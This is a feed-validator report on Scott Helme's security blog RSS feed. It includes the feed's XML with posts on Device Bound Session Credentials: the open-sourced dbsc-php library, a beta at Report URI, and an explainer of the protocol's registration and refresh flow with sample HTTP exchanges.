Analysis of https://scotthelme.co.uk/rss/

Feed fetched in 75 ms.
Warning Content type is application/rss+xml; charset=utf-8, not text/xml or applicaton/xml.
Feed is 259,414 characters long.
Feed has an ETag of W/"3f560-XgL6hzjGAAMUqUlkZk9km6RIlUw".
Warning Feed is missing the Last-Modified HTTP header.
Feed is well-formed XML.
Warning Feed has no styling.
This is an RSS feed.
Feed title: Scott Helme
Error Feed self link: https://scotthelme.ghost.io/rss/ does not match feed URL: https://scotthelme.co.uk/rss/.
Feed has an image at https://scotthelme.ghost.io/favicon.png.
Feed has 15 items.
First item published on 2026-06-08T14:00:56.000Z
Last item published on 2026-03-24T14:36:17.000Z
All items have published dates.
Newest item was published on 2026-06-08T14:00:56.000Z.
Home page URL: https://scotthelme.ghost.io/
Error Home page does not have a matching feed discovery link in the <head>.

1 feed links in <head>
  • https://scotthelme.ghost.io/rss/

  • Home page has a link to the feed in the <body>

    Formatted XML
    <?xml version="1.0" encoding="UTF-8"?>
    <rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
        <channel>
            <title><![CDATA[Scott Helme]]></title>
            <description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description>
            <link>https://scotthelme.ghost.io/</link>
            <image>
                <url>https://scotthelme.ghost.io/favicon.png</url>
                <title>Scott Helme</title>
                <link>https://scotthelme.ghost.io/</link>
            </image>
            <generator>Ghost 6.45</generator>
            <lastBuildDate>Fri, 12 Jun 2026 12:37:54 GMT</lastBuildDate>
            <atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/>
            <ttl>60</ttl>
            <item>
                <title><![CDATA[Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP]]></title>
                <description><![CDATA[<p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d</p>]]></description>
                <link>https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/</link>
                <guid isPermaLink="false">6a244e5d2b2c280001660c90</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 08 Jun 2026 14:00:56 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP"><p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d like to know more about DBSC, you should start with my blog post <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we&apos;re also running a <a href="https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id="why-we-built-it">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between &quot;what the spec says&quot; and &quot;how do we do that&quot; is wide enough to fall into. Several behaviours only surface once you&apos;re integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing &#x2014; leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we&apos;ve packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> &#x2014; small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id="what-we-got-wrong-so-you-dont-have-to">What we got wrong (so you don&apos;t have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a&#xA0;200). That&apos;s the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it&apos;s used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There&apos;s also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id &#x2014; never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you&apos;re fine.</p><p></p><h4 id="framework-agnostic-by-design">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework&apos;s request and returns a <code>DbscResponse</code> you apply to your framework&apos;s response. Storage is yours &#x2014; implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class="language-php">use ReportUri\Dbsc{Config, DbscServer};
    
    $dbsc = new DbscServer(new Config(cookieName: &apos;__Host-myapp_dbsc&apos;), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there&apos;s a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases &#x2014; wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id="getting-started">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you&apos;re running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">report-uri/dbsc-php</a><br>Source &amp; docs: <a href="https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc</a></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[DBSC Beta at Report URI]]></title>
                <description><![CDATA[<p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely</p>]]></description>
                <link>https://scotthelme.ghost.io/dbsc-beta-at-report-uri/</link>
                <guid isPermaLink="false">6a200eb4b5ac0c00013dfa00</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Fri, 05 Jun 2026 14:22:22 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" alt="DBSC Beta at Report URI"><p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it&apos;s no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we&apos;re seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id="joining-the-beta">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -&gt; Manage Sessions section of your account. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="920" height="352" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id="feedback">Feedback</h4><p>As this is a beta, we&#x2019;re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Device Bound Session Credentials: Making Stolen Cookies Useless]]></title>
                <description><![CDATA[<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser</p>]]></description>
                <link>https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/</link>
                <guid isPermaLink="false">6a0b32f508297800018dba89</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[DBSC]]></category>
                <category><![CDATA[PHP]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 02 Jun 2026 10:59:38 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" alt="Device Bound Session Credentials: Making Stolen Cookies Useless"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id="authentication-is-getting-stronger-sessions-are-still-weak">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it&apos;s something that really struck me at the time.</p>
    <!--kg-card-begin: html-->
    <blockquote class="twitter-tweet"><p lang="en" dir="ltr">It&#x2019;s kind of crazy that after all the progress we&#x2019;ve made with passwords, 2FA, and now passkeys, the end result is still just&#x2026; a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.&#x2026; <a href="https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io">https://t.co/gGBbv81N7r</a></p>&#x2014; Scott Helme (@Scott_Helme) <a href="https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&amp;ref=scotthelme.ghost.io">April 22, 2026</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
    <!--kg-card-end: html-->
    <p></p><p>I&apos;ve long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they&apos;re a good idea and it&apos;s most likely that if you&apos;re here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they&apos;re gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says &quot;Hi Scott&quot;. They&apos;ve successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don&apos;t want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say &quot;Aha! This is Scott&quot;.</p><p>That&apos;s it, that&apos;s all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you&apos;re up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they&apos;re so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id="the-path-of-least-resistance">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they&apos;ll do what they always do and move to the next weakest link in the chain, and we&apos;re already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href="https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io" rel="noreferrer">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user&#x2019;s credentials.</p><p>Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href="https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> cookie theft as an attack where malware steals a user&#x2019;s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id="device-bound-session-credentials">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id="dbsc-registration">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=&quot;/dbsc/register&quot;; challenge=&quot;abc123&quot;</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here&apos;s a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don&apos;t want that process to have a negative impact on the responsiveness of the site. To make sure that doesn&apos;t happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: application/json
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Set-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: {
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false
      },
      &quot;credentials&quot;: [
        {
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id="dbsc-refresh">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you&apos;re only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You&apos;re actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you&apos;re still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class="language-http">HTTP/1.1 403 Forbidden
    Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/jwt
    Content-Length: 1337
    
    eyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku
    Y29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI
    Y1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz
    YzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class="language-http">HTTP/1.1 200 OK
    Set-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/json
    Content-Length: 312</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: { 
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false,
        &quot;scope_specification&quot;: [] 
      },
      &quot;credentials&quot;: [
        { 
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here&apos;s a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="optimising-for-one-step-refresh-rather-than-two-step">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class="language-http">Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    </code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class="language-http">Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you&apos;re going to see a two-step refresh is if the browser doesn&apos;t have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can&apos;t send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn&apos;t been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn&apos;t have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class="language-http">GET /account/home HTTP/1.1</code></pre><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: text/html
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    
    &lt;html&gt;
    ...
    &lt;/html&gt;
    </code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn&apos;t have to worry about this and it can just allow that first refresh after registration to be a two-step process. It&apos;s happening asynchronously in the background, so it&apos;s not a huge loss. </p><p>The second scenario that you&apos;re always going to see a two-step refresh process is if you&apos;ve had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There&apos;s no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id="privacy-concerns">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations" rel="noreferrer">spec</a> immediately set out to address potential privacy concerns and during our implementation, testing and usage of DBSC, I&apos;ve not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can&apos;t even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background &quot;pings&quot; for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each 